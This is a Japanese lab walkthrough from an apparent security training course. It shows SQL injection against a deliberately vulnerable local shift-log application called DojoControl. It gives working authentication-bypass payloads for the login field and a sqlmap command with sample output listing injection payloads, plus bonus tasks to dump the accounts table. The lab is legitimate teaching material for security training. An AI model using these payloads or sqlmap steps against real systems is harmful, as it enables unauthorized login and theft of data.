

ラボ 4.1: SQL インジェクションによる認証のバイパス

1. はじめに

1.1. 必要なリソース

- ControlThings プラットフォーム VM

1.2. 概要

このラボでは、「Dojo Control」というウェブアプリケーションの脆弱性を調査します。これは、エンジニアやオペレーターがシフト中に発生した事象を記録するためのシフトログアプリケーションです。SQLインジェクションの脆弱性を利用して認証のバイパスを試みます

1.3. 目的

- ログインフィールドのSQLインジェクションをテストする
- 認証をバイパスし、データベースの最初のユーザーとしてログインする
- 認証をバイパスし、指定した特定のユーザーとしてログインします

2. DojoControl Shift-Logger

ControlThings Platform VMを起動します

Firefoxを開き、localhost

ログインメニュー項目をクリックします

✓ 成功

Welcome to Dojo Control's Shift Logger!

Not logged in

Main Menu

[Home](#)
[Register](#)
[Login](#)

Pentester Help

[About](#)
[Toggle Hints](#)
[Vuln List](#)
[Credits](#)
[Reset DB](#)

Login

If you do not have an account, [Register](#)

Enter your username and password:

Name:

Password:

これはDojoControlアプリケーションです。オペレーターがシフト中に発生した問題や対処方法を記録するために使用できる、シンプルなシフトログアプリケーションを模倣して作成されました。これにより、後続のオペレーターは、プロセスで以前に発生した履歴を確認できます

これを本番環境で使用しないでください。

このアプリケーションは、OWASP Top 10 のウェブ脆弱性すべてに加え、その他の脆弱性に対して脆弱です。本アプリケーションは教育目的のみで作成されました。

3. SQLiの脆弱性をテストする

SQLインジェクションは、攻撃者がデータベースコマンド（SQLクエリ言語）を入力フィールドに挿入し、バックエンドデータベースにそれらのコマンドを実行させる脆弱性です。基本的なSQLインジェクションの脆弱性を検出する最も簡単な方法の一つは、入力フィールドに一重引用符（場合によっては二重引用符）を挿入し、SQLエラーメッセージが返されるかどうかを確認することです。バックエンドデータベースからSQLエラーメッセージが返された場合、脆弱性が存在することが確認されます。

SQLiをテストするには一重引用符を使用します

ログイン ページで、User に一重引用符 `aaaaaaaa` を配置し、または他の文字列をパスワード フィールドに入力して、Web サイトが空のフィールドについてエラーを出さないようにして、名前フィールドをテストしてみてください。

注意

一重引用符を使用すると、一度に1つのフィールドのみをテストできます

ヒント

Firefoxでパスワードを保存するかどうかを尋ねられた場合は、ドロップダウンボックスを使用して「**保存しない**」オプションを選択することをお勧めします。そうすれば、それ以降は尋ねられません

✓ SQL構文にエラーがあります

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'aaaaaaaa' at line 1

SQL Statement: `SELECT * FROM accounts WHERE username='' AND password='aaaaaaaa'`

SQLインジェクションをテストする際は、一度に1つのフィールドのみをテストする必要があります。パスワードフィールドの「`aaaaaaaa`」は、アプリケーションがパスワードが空であることを警告しないようにするためのものです。実際のテストは、上記に示したユーザー名フィールドのシングルクォーテーションです。同じく上記に示したように、脆弱性が存在することを示すSQLエラーメッセージが返されるはずです。このSQLエラーメッセージは、シングルクォーテーションに引用符を閉じるための2つ目のシングルクォーテーションがないために発生しました。ユーザー名フィールドに3つのシングルクォーテーションが並んでいることにお気づきでしょうか？

```
SELECT * FROM accounts WHERE username='' AND password='aaaaaaaa'
```

アプリケーションは、私たちが入力したユーザー名とパスワードを取得し、開発者が事前に作成したSQLクエリに挿入します。この脆弱性を悪用するために、まずユーザー名もパスワードも知らなくてもログインを回避しようとします。通常、アプリケーションがユーザー名とパスワードをデータベースで検索する際、多くの場合、認証情報テーブルを参照して、ユーザー名とパスワードのペアがテーブルの行に存在するかどうかを確認します。最後のステップでSQLインジェクションのエラーメッセージが表示されれば、開発者がこのアプリケーションでまさにこれを実行していることがわかります。TRUEが返された場合、アプリケーションは指定したユーザーとしてログインします。

4.最初の ユーザーとしてログイン

説明のために、データベースに渡される開発者の意図した SQL クエリを次に示します。

```
SELECT * FROM accounts WHERE username='yourusername' AND password='yourpassword';
```

これを悪用するために、データベース内のすべてのユーザー名比較を強制的にTRUEにする独自のSQLコードを追加します。パスワードチェックをなくすには、SQLコメント文字 `--`（二重ハイフン）を追加します。これにより、開発者のSQLクエリの残りの部分がコメントとして扱われます。ただし、ほとんどのデータベースでこれを機能させるには、二重ハイフンの前後にスペースが必要です。

以下の値でログインしてください

名前: ' or 1=1; --

パスワード: aaaaaaaa

警告

名前欄には、文字の前後にスペースがあります。デジタルワークブックソフトウェアでは上記のように表示されませんが、どちらも**必須**です。ちなみに、MariaDBとMySQLでは、前後にスペースを必要としない文字をコメントに使用できますが、これはすべてのリレーショナルデータベースのSQL標準の一部です -- # --

注意

パスワード欄には何でも入力できますが、一貫性と後の説明を容易にするために「aaaaaaa」を使用します

✓ 成功

Welcome to Samurai Dojo-Basic!
You are logged in as admin

✗ 失敗

ログインできない場合は、「名前」と「パスワード」の欄に入力した内容をもう一度ご確認ください。このラボの結果に影響を与える可能性があるのは、この2つの欄だけです。最も一般的な問題は、「」の後にスペースを入れていないことです -。

画面がどのように表示されるかを示したスクリーンショットを以下に示します。



If you do not have an account, [Register](#)

Enter your username and password:

Name:

Password:

このクエリを正しく入力した場合は、DojoControl データベースの最初のユーザーである Admin としてログインしているはずで

す。

これは、Web サーバーがデータベースに渡した SQL コマンドです。

```
SELECT * FROM accounts WHERE username=' ' or 1=1; -- ' AND password='aaaaaaaa';
```

ただし、データベースは二重ハイフンをコメントとして認識するため、二重ハイフンの後のすべては無視されます。そのため、データベースによって実行される実際の SQL コマンドは次のようになります。

```
SELECT * FROM accounts WHERE username=' ' or 1=1;
```

データベースがどの行をチェックするかに関係なく、そのユーザーの情報がアプリケーションに返され、アプリケーションはそれをログイン成功と解釈します。データベースはテーブルの最初の行から比較を開始するため、アプリケーションはそのユーザー、つまりほとんどの場合はアプリケーションの管理者ユーザーとしてログインします。

5. Johnとしてログイン

ここでログアウトして、この脆弱性を少し異なる方法で悪用してみましょう。

DojoControlの管理者アカウントからログアウトします

最初のユーザーには必要なアクセス権がないとします。しかし、アプリケーションへの適切なアクセス権を持つユーザー一名が分かっているとします。同じ脆弱性を利用して、そのユーザーとしてログインしながらも、パスワードを知らなくても済みます。そのためには、テーブル内で目的のユーザー名を検索し、パスワードチェックをコメントアウトするだけのSQLコードを追加します。

以下の値でログインしてください

名前: john'; --

パスワード: aaaaaaaa

警告

-- もう一度言いますが、の後にはスペースが必要です

✓ 成功

Welcome to Samurai Dojo-Basic!

You are logged in as john

これはアプリケーションがデータベースに渡したものです。

```
SELECT * FROM accounts WHERE username='john'; -- ' AND password='aaaaaaa'
```

二重ハイフンの後はすべてコメントとして無視されるため、実際にはSQLコマンドを実行しています

```
SELECT * FROM accounts WHERE username='john';
```

データベースはaccountsテーブルを1行ずつチェックし、ユーザー名johnを探します。見つかった場合、Johnの情報がアプリケーションに返され、アプリケーションはログイン成功と解釈します。

6. データベースからデータをダンプする

これらは基本的なSQLiエクスプロイトでした。コマンドプロンプトからsqlmapを使って、このサーバー上のすべてのデータベースを一覧表示してみましょう。

コマンドラインターミナルを開く

次のコマンドをコピーしてターミナルに貼り付けます

```
sqlmap -u "http://localhost/index.php?page=login.php" --data "user_name=j&password=p&Submit_button=Submit" --dbs
```

Enter キーを押してコマンドを実行し、尋ねられる質問に対してもEnter キーを押し続けると、すべてのデフォルトの回答が採用されます。

✓ 成功

大量の出力といくつかの質問の後、sqlmap が次の出力に似たものとともに終了するはずです。

```
POST parameter 'user_name' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 378 HTTP(s) requests:
---
Parameter: user_name (POST)
  Type: boolean-based blind
  Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
  Payload: user_name=j' RLIKE (SELECT (CASE WHEN (6382=6382) THEN 0x6a ELSE 0x28 END)) AND
'daYW'='daYW&password=p&Submit_button=Submit

  Type: error-based
  Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
  Payload: user_name=j' AND (SELECT 2624 FROM(SELECT COUNT(*),CONCAT(0x7171766b71,(SELECT
(ELT(2624=2624,1))),0x71787a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND
'saLc'='saLc&password=p&Submit_button=Submit

  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: user_name=j' AND (SELECT 9872 FROM (SELECT(SLEEP(5)))jyex) AND
'ZfUY'='ZfUY&password=p&Submit_button=Submit
---
[14:17:28] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[14:17:28] [INFO] fetching database names
[14:17:28] [INFO] retrieved: 'information_schema'
[14:17:28] [INFO] retrieved: 'dojo_control'
available databases [2]:
[*] dojo_control
[*] information_schema

[14:17:28] [INFO] fetched data logged to text files under '/home/control/.sqlmap/output/localhost'
```

もう一度言いますが、正確な出力は異なりますし、ツールが古くなっているという注意書きも表示される可能性があります、これは問題ありません。

上記の成功インジケータの最初の行は次のとおりです。


```
POST parameter 'user_name' is vulnerable.
```

これは、SQLi に対して脆弱な HTML POST パラメータを示します。その後に、脆弱性を悪用するために使用されるペイロードを含む、SQLi の脆弱性の詳細が続きます。

上記の成功インジケータの出力の最後の方に、次の内容が表示されます。

```
available databases [2]:
[*] dojo_control
[*] information_schema
```

これは、DojoControlアプリケーション、またはより具体的にはDojoControlが使用するように設定されているデータベースユーザーがこのデータベースで参照できるデータベースのリストです。

7. ボーナスチャレンジ

他の参加者のラボの完了を待っている場合、またはこのラボで紹介された概念をさらに深く探求したい場合は、いくつかのアイデアを試してみてください。これらのチャレンジにはチュートリアルは用意されていませんが、行き詰まった場合は、コース作成者のジャスティンに取り組みの過程を見せていただければ、喜んでヒントをくれるでしょう。justin [@controlthings.io](mailto:justin@controlthings.io)までメールでお問い合わせください

sqlmapのヘルプページをご覧ください `sqlmap -h`

DojoControl Webアプリケーションが使用しているデータベースユーザーを特定します。

dojo_controlデータベース内のすべてのテーブルを一覧表示してみましょう

DojoControlのアカウントテーブルをダンプしてみる